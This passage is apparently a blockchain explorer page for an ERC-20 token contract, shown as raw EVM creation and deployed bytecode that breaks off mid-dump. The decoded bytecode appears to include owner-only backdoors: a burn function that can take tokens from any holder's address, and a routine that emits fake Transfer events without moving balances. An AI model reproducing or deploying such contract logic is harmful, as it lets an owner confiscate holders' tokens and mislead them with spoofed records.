3836141d6565b91506153ba82615353565b604082019050919050565b600060208201905081810360008301526153de816153a2565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b600061541b6016836141d6565b9150615426826153e5565b602082019050919050565b6000602082019050818103600083015261544a8161540e565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006154d36049836141d6565b91506154de82615451565b606082019050919050565b60006020820190508181036000830152615502816154c6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006155656035836141d6565b915061557082615509565b604082019050919050565b6000602082019050818103600083015261559481615558565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006155d16013836141d6565b91506155dc8261559b565b602082019050919050565b60006020820190508181036000830152615600816155c4565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006156636036836141d6565b915061566e82615607565b604082019050919050565b6000602082019050818103600083015261569281615656565b9050919050565b60006156a4826142ee565b91506156af836142ee565b9250828210156156c2576156c161488d565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006157296021836141d6565b9150615734826156cd565b604082019050919050565b600060208201905081810360008301526157588161571c565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006157bb6022836141d6565b91506157c68261575f565b604082019050919050565b600060208201905081810360008301526157ea816157ae565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061584d6021836141d6565b9150615858826157f1565b604082019050919050565b6000602082019050818103600083015261587c81615840565b9050919050565b600081905092915050565b50565b600061589e600083615883565b91506158a98261588e565b600082019050919050565b60006158bf82615891565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b600061591d615918615913846158f8565b6143c7565b6142ee565b9050919050565b61592d81615902565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615968816142b0565b82525050565b600061597a838361595f565b60208301905092915050565b6000602082019050919050565b600061599e82615933565b6159a8818561593e565b93506159b38361594f565b8060005b838110156159e45781516159cb888261596e565b97506159d683615986565b9250506001810190506159b7565b5085935050505092915050565b600060a082019050615a066000830188614441565b615a136020830187615924565b8181036040830152615a258186615993565b9050615a3460608301856145b0565b615a416080830184614441565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a9592acd2b7b76348f98e07603a23637bf3acde32ab7da83528513a242d1d32064736f6c634300080a003300000000000000000000000082e35833829882d01e0583a4f2440a2075e59f07

Deployed Bytecode

0x6080604052600436106104095760003560e01c80638da5cb5b11610213578063bbc0c74211610123578063dd62ed3e116100ab578063f2fde38b1161007a578063f2fde38b14610f7c578063f637434214610fa5578063f8b45b0514610fd0578063fc154c5e14610ffb578063fe72b27a1461103857610410565b8063dd62ed3e14610ebe578063e2f4560514610efb578063e884f26014610f26578063f11a24d314610f5157610410565b8063c2b7bbb6116100f2578063c2b7bbb614610dd7578063c876d0b914610e00578063c8c8ebe414610e2b578063d257b34f14610e56578063d85ba06314610e9357610410565b8063bbc0c74214610d31578063c024666814610d5c578063c17b5b8c14610d85578063c18bc19514610dae57610410565b80639fccce32116101a6578063a4c82a0011610175578063a4c82a0014610c3a578063a9059cbb14610c65578063aacebbe314610ca2578063b62496f514610ccb578063bbbb3ffc14610d0857610410565b80639fccce3214610b7e578063a0d82dc514610ba9578063a165506f14610bd4578063a457c2d714610bfd57610410565b806395d89b41116101e257806395d89b4114610ad45780639c3b4fdc14610aff5780639dc29fac14610b2a5780639ec22c0e14610b5357610410565b80638da5cb5b14610a2a5780638ea5220f14610a555780639213691314610a80578063924de9b714610aab57610410565b8063333f52e011610319578063730c1888116102a157806375f0a8741161027057806375f0a874146109695780637bce5a04146109945780638095d564146109bf5780638a8c523c146109e85780638bdb2afa146109ff57610410565b8063730c1888146108c357806373fa7ddb146108ec578063751039fc146109155780637571336a1461094057610410565b806349bd5a5e116102e857806349bd5a5e146107ee5780636a486a8e146108195780636ddd17131461084457806370a082311461086f578063715018a6146108ac57610410565b8063333f52e0146107205780633582ad231461075d57806339509351146107885780633eb2b5ad146107c557610410565b80631a8145bb1161039c57806326ededb81161036b57806326ededb81461064b57806327c8f835146106745780632c3e486c1461069f5780632e82f1a0146106ca578063313ce567146106f557610410565b80631a8145bb1461058f5780631f3fed8f146105ba578063203e727e146105e557806323b872dd1461060e57610410565b806318160ddd116103d857806318160ddd146104e55780631816467f14610510578063184c16c514610539578063199ffc721461056457610410565b806306fdde0314610415578063095ea7b31461044057806310d5de531461047d5780631694505e146104ba57610410565b3661041057005b600080fd5b34801561042157600080fd5b5061042a611075565b6040516104379190614264565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190614324565b611107565b604051610474919061437f565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f919061439a565b611125565b6040516104b1919061437f565b60405180910390f35b3480156104c657600080fd5b506104cf611145565b6040516104dc9190614426565b60405180910390f35b3480156104f157600080fd5b506104fa611169565b6040516105079190614450565b60405180910390f35b34801561051c57600080fd5b506105376004803603810190610532919061439a565b611173565b005b34801561054557600080fd5b5061054e61123b565b60405161055b9190614450565b60405180910390f35b34801561057057600080fd5b50610579611241565b6040516105869190614450565b60405180910390f35b34801561059b57600080fd5b506105a4611247565b6040516105b19190614450565b60405180910390f35b3480156105c657600080fd5b506105cf61124d565b6040516105dc9190614450565b60405180910390f35b3480156105f157600080fd5b5061060c6004803603810190610607919061446b565b611253565b005b34801561061a57600080fd5b5061063560048036038101906106309190614498565b6112e6565b604051610642919061437f565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190614550565b6113bf565b005b34801561068057600080fd5b506106896115ab565b60405161069691906145bf565b60405180910390f35b3480156106ab57600080fd5b506106b46115b1565b6040516106c19190614450565b60405180910390f35b3480156106d657600080fd5b506106df6115b7565b6040516106ec919061437f565b60405180910390f35b34801561070157600080fd5b5061070a6115ca565b60405161071791906145f6565b60405180910390f35b34801561072c57600080fd5b506107476004803603810190610742919061439a565b6115d3565b604051610754919061437f565b60405180910390f35b34801561076957600080fd5b50610772611629565b60405161077f919061437f565b60405180910390f35b34801561079457600080fd5b506107af60048036038101906107aa9190614324565b61163c565b6040516107bc919061437f565b60405180910390f35b3480156107d157600080fd5b506107ec60048036038101906107e7919061439a565b6116ef565b005b3480156107fa57600080fd5b5061080361173b565b60405161081091906145bf565b60405180910390f35b34801561082557600080fd5b5061082e611761565b60405161083b9190614450565b60405180910390f35b34801561085057600080fd5b50610859611767565b604051610866919061437f565b60405180910390f35b34801561087b57600080fd5b506108966004803603810190610891919061439a565b61177a565b6040516108a39190614450565b60405180910390f35b3480156108b857600080fd5b506108c16117c3565b005b3480156108cf57600080fd5b506108ea60048036038101906108e5919061463d565b611889565b005b3480156108f857600080fd5b50610913600480360381019061090e9190614690565b611955565b005b34801561092157600080fd5b5061092a611a02565b604051610937919061437f565b60405180910390f35b34801561094c57600080fd5b50610967600480360381019061096291906146f0565b611a2e565b005b34801561097557600080fd5b5061097e611a91565b60405161098b91906145bf565b60405180910390f35b3480156109a057600080fd5b506109a9611ab7565b6040516109b69190614450565b60405180910390f35b3480156109cb57600080fd5b506109e660048036038101906109e19190614730565b611abd565b005b3480156109f457600080fd5b506109fd611b48565b005b348015610a0b57600080fd5b50610a14611b8f565b604051610a2191906147a4565b60405180910390f35b348015610a3657600080fd5b50610a3f611bb5565b604051610a4c91906145bf565b60405180910390f35b348015610a6157600080fd5b50610a6a611bde565b604051610a7791906145bf565b60405180910390f35b348015610a8c57600080fd5b50610a95611c04565b604051610aa29190614450565b60405180910390f35b348015610ab757600080fd5b50610ad26004803603810190610acd91906147bf565b611c0a565b005b348015610ae057600080fd5b50610ae9611c2f565b604051610af69190614264565b60405180910390f35b348015610b0b57600080fd5b50610b14611cc1565b604051610b219190614450565b60405180910390f35b348015610b3657600080fd5b50610b516004803603810190610b4c9190614324565b611cc7565b005b348015610b5f57600080fd5b50610b68611cdd565b604051610b759190614450565b60405180910390f35b348015610b8a57600080fd5b50610b93611ce3565b604051610ba09190614450565b60405180910390f35b348015610bb557600080fd5b50610bbe611ce9565b604051610bcb9190614450565b60405180910390f35b348015610be057600080fd5b50610bfb6004803603810190610bf691906147ec565b611cef565b005b348015610c0957600080fd5b50610c246004803603810190610c1f9190614324565b611d05565b604051610c31919061437f565b60405180910390f35b348015610c4657600080fd5b50610c4f611dd2565b604051610c5c9190614450565b60405180910390f35b348015610c7157600080fd5b50610c8c6004803603810190610c879190614324565b611dd8565b604051610c99919061437f565b60405180910390f35b348015610cae57600080fd5b50610cc96004803603810190610cc4919061439a565b611df6565b005b348015610cd757600080fd5b50610cf26004803603810190610ced919061439a565b611ebe565b604051610cff91906145bf565b60405180910390f35b348015610d1457600080fd5b50610d2f6004803603810190610d2a91906147ec565b611ef1565b005b348015610d3d57600080fd5b50610d46611fd5565b604051610d53919061437f565b60405180910390f35b348015610d6857600080fd5b50610d836004803603810190610d7e91906146f0565b611fe8565b005b348015610d9157600080fd5b50610dac6004803603810190610da79190614730565b612099565b005b348015610dba57600080fd5b50610dd56004803603810190610dd0919061446b565b612124565b005b348015610de357600080fd5b50610dfe6004803603810190610df9919061439a565b6121b7565b005b348015610e0c57600080fd5b50610e15612230565b604051610e22919061437f565b60405180910390f35b348015610e3757600080fd5b50610e40612243565b604051610e4d9190614450565b60405180910390f35b348015610e6257600080fd5b50610e7d6004803603810190610e78919061446b565b612249565b604051610e8a919061437f565b60405180910390f35b348015610e9f57600080fd5b50610ea861232a565b604051610eb59190614450565b60405180910390f35b348015610eca57600080fd5b50610ee56004803603810190610ee091906147ec565b612330565b604051610ef29190614450565b60405180910390f35b348015610f0757600080fd5b50610f106123b7565b604051610f1d9190614450565b60405180910390f35b348015610f3257600080fd5b50610f3b6123bd565b604051610f48919061437f565b60405180910390f35b348015610f5d57600080fd5b50610f666123e9565b604051610f739190614450565b60405180910390f35b348015610f8857600080fd5b50610fa36004803603810190610f9e919061439a565b6123ef565b005b348015610fb157600080fd5b50610fba612524565b604051610fc79190614450565b60405180910390f35b348015610fdc57600080fd5b50610fe561252a565b604051610ff29190614450565b60405180910390f35b34801561100757600080fd5b50611022600480360381019061101d919061439a565b612530565b60405161102f919061437f565b60405180910390f35b34801561104457600080fd5b5061105f600480360381019061105a919061446b565b612586565b60405161106c919061437f565b60405180910390f35b6060600680546110849061485b565b80601f01602080910402602001604051908101604052809291908181526020018280546110b09061485b565b80156110fd5780601f106110d2576101008083540402835291602001916110fd565b820191906000526020600020905b8154815290600101906020018083116110e057829003601f168201915b5050505050905090565b600061111b611114612881565b8484612889565b6001905092915050565b60266020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600854905090565b61117b612a54565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60105481565b60125481565b60215481565b60205481565b61125b612a54565b633b9aca006103e8600161126d611169565b61127791906148bc565b6112819190614945565b61128b9190614945565b8110156112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c4906149e8565b60405180910390fd5b633b9aca00816112dd91906148bc565b600c8190555050565b60006112f3848484612ad2565b6113b4846112ff612881565b6113af85604051806060016040528060288152602001615a7260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611365612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b612889565b600190509392505050565b6113c7612a54565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a43905307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611473573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114979190614a1d565b6040518363ffffffff1660e01b81526004016114b4929190614a4a565b602060405180830381865afa1580156114d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f59190614a1d565b905060005b848490508110156115a45784848281811061151857611517614a73565b5b905060200201602081019061152d919061439a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115899190614450565b60405180910390a3808061159c90614aa2565b9150506114fa565b5050505050565b61dead81565b60145481565b601360009054906101000a900460ff1681565b60006009905090565b6000602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601660009054906101000a900460ff1681565b60006116e5611649612881565b846116e0856003600061165a612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282390919063ffffffff16565b612889565b6001905092915050565b6116f7612a54565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b601660029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117cb612a54565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611891612a54565b6102588310156118d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cd90614b5d565b60405180910390fd5b6103e882111580156118e9575060008210155b611928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191f90614bef565b60405180910390fd5b826014819055508160128190555080601360006101000a81548160ff021916908315150217905550505050565b61195d612a54565b60005b838390508110156119fc57816017600086868581811061198357611982614a73565b5b9050602002016020810190611998919061439a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806119f490614aa2565b915050611960565b50505050565b6000611a0c612a54565b6000601660006101000a81548160ff0219169083151502179055506001905090565b611a36612a54565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b611ac5612a54565b8260198190555081601a8190555080601b81905550601b54601a54601954611aed9190614c0f565b611af79190614c0f565b60188190555060196018541115611b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3a90614cb1565b60405180910390fd5b505050565b611b50612a54565b6001601660016101000a81548160ff0219169083151502179055506001601660026101000a81548160ff02191690831515021790555042601581905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d5481565b611c12612a54565b80601660026101000a81548160ff02191690831515021790555050565b606060078054611c3e9061485b565b80601f0160208091040260200160405190810160405280929190818152602001828054611c6a9061485b565b8015611cb75780601f10611c8c57610100808354040283529160200191611cb7565b820191906000526020600020905b815481529060010190602001808311611c9a57829003601f168201915b5050505050905090565b601b5481565b611ccf612a54565b611cd9828261365d565b5050565b60115481565b60225481565b601f5481565b611cf7612a54565b611d018282611ef1565b5050565b6000611dc8611d12612881565b84611dc385604051806060016040528060258152602001615a9a6025913960036000611d3c612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b612889565b6001905092915050565b60155481565b6000611dec611de5612881565b8484612ad2565b6001905092915050565b611dfe612a54565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60276020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611ef9612a54565b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601660019054906101000a900460ff1681565b611ff0612a54565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161208d919061437f565b60405180910390a25050565b6120a1612a54565b82601d8190555081601e8190555080601f81905550601f54601e54601d546120c99190614c0f565b6120d39190614c0f565b601c819055506063601c54111561211f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211690614d1d565b60405180910390fd5b505050565b61212c612a54565b633b9aca006103e8600561213e611169565b61214891906148bc565b6121529190614945565b61215c9190614945565b81101561219e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219590614daf565b60405180910390fd5b633b9aca00816121ae91906148bc565b600b8190555050565b6121bf612a54565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061222d600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611a2e565b50565b602460009054906101000a900460ff1681565b600c5481565b6000612253612a54565b620186a06001612261611169565b61226b91906148bc565b6122759190614945565b8210156122b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ae90614e41565b60405180910390fd5b6103e8600a6122c4611169565b6122ce91906148bc565b6122d89190614945565b82111561231a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231190614ed3565b60405180910390fd5b81600d8190555060019050919050565b60185481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b60006123c7612a54565b6000602460006101000a81548160ff0219169083151502179055506001905090565b601a5481565b6123f7612a54565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612467576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245e90614f65565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e5481565b600b5481565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000612590612a54565b6010546011546125a09190614c0f565b42116125e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d890614fd1565b60405180910390fd5b6103e8821115612626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261d90615063565b60405180910390fd5b4260118190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161268a91906145bf565b602060405180830381865afa1580156126a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126cb9190615098565b905060006126f66127106126e8868561382990919063ffffffff16565b6138a490919063ffffffff16565b9050600081111561273157612730600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836138ee565b5b600060276000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156127ff57600080fd5b505af1158015612813573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846128329190614c0f565b905083811015612877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286e90615111565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f0906151a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296090615235565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a479190614450565b60405180910390a3505050565b612a5c612881565b73ffffffffffffffffffffffffffffffffffffffff16612a7a613b87565b73ffffffffffffffffffffffffffffffffffffffff1614612ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac7906152a1565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3990615333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba9906153c5565b60405180910390fd5b6000811415612bcc57612bc7838360006138ee565b6135f4565b601660009054906101000a900460ff16156131e35761dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612c525750612c22611bb5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c8b5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612cca5750612c9a611bb5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612ce35750600a60149054906101000a900460ff16155b156131e257601660019054906101000a900460ff16612ddd57602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d9d5750602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd390615431565b60405180910390fd5b5b602460009054906101000a900460ff1615612fa757612dfa611bb5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612e8157507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612edb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612fa65743602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f58906154e9565b60405180910390fd5b43602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661309a57600c5481111561303d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130349061557b565b60405180910390fd5b600b546130498361177a565b826130549190614c0f565b1115613095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161308c906155e7565b60405180910390fd5b6131e1565b602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661313557600c54811115613130576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312790615679565b60405180910390fd5b6131e0565b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166131df57600b546131928361177a565b8261319d9190614c0f565b11156131de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131d5906155e7565b60405180910390fd5b5b5b5b5b5b60006131ee3061177a565b90506000600d5482101590508080156132135750601660029054906101000a900460ff165b801561322c5750600a60149054906101000a900460ff16155b80156132825750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132d85750602560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561331c576001600a60146101000a81548160ff021916908315150217905550613300613b9b565b6000600a60146101000a81548160ff0219169083151502179055505b600a60149054906101000a900460ff161580156133455750601360009054906101000a900460ff165b156133555761335385613d23565b505b6000600a60149054906101000a900460ff16159050602560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061340b5750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561341557600090505b600081156135e4576000601c5411156134f0576134506064613442601c548861382990919063ffffffff16565b6138a490919063ffffffff16565b9050601c54601e548261346391906148bc565b61346d9190614945565b6021600082825461347e9190614c0f565b92505081905550601c54601f548261349691906148bc565b6134a09190614945565b602260008282546134b19190614c0f565b92505081905550601c54601d54826134c991906148bc565b6134d39190614945565b602060008282546134e49190614c0f565b925050819055506135c0565b600060185411156135bf5761352360646135156018548861382990919063ffffffff16565b6138a490919063ffffffff16565b9050601854601a548261353691906148bc565b6135409190614945565b602160008282546135519190614c0f565b92505081905550601854601b548261356991906148bc565b6135739190614945565b602260008282546135849190614c0f565b925050819055506018546019548261359c91906148bc565b6135a69190614945565b602060008282546135b79190614c0f565b925050819055505b5b60008111156135d5576135d48730836138ee565b5b80856135e19190615699565b94505b6135ef8787876138ee565b505050505b505050565b6000838311158290613641576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136389190614264565b60405180910390fd5b50600083856136509190615699565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156136cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136c49061573f565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161374b906157d1565b60405180910390fd5b816004546137629190615699565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546137b79190615699565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161381c9190614450565b60405180910390a3505050565b60008083141561383c576000905061389e565b6000828461384a91906148bc565b90508284826138599190614945565b14613899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161389090615863565b60405180910390fd5b809150505b92915050565b60006138e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613de1565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffff